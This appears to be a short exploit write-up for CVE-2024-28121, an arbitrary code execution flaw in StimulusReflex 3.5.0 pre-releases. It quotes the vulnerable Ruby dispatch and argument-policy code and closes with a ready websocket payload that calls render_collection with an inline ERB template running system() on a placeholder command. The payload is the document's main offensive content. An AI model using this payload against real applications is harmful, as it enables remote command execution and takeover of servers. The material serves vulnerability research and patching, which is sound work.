StimulusReflex 3.5.0 Arbitrary Code Execution

StimulusReflex CVE-2024-28121Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.## Vulnerable code excerptstimulus_reflex/lib/stimulus_reflex/reflex.rb```  # Invoke the reflex action specified by `name` and run all callbacks  def process(name, *args)    run_callbacks(:process) { public_send(name, *args) }  end```stimulus_reflex/app/channels/stimulus_reflex/channel.rb```  def delegate_call_to_reflex(reflex)    method_name = reflex.method_name    arguments = reflex.data.arguments    method = reflex.method(method_name)    policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)    if policy.no_arguments?      reflex.process(method_name)    elsif policy.arguments?      reflex.process(method_name, *arguments)    else      raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")    end  end```stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb```module StimulusReflex  class ReflexMethodInvocationPolicy    attr_reader :arguments, :required_params, :optional_params    def initialize(method, arguments)      @arguments = arguments      @required_params = method.parameters.select { |(kind, _)| kind == :req }      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }    end    def no_arguments?      arguments.size == 0 && required_params.size == 0    end    def arguments?      arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size    end    def unknown?      return false if no_arguments?      return false if arguments?      true    end  endend```## PayloadFind a websocket message with target and args.```\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]```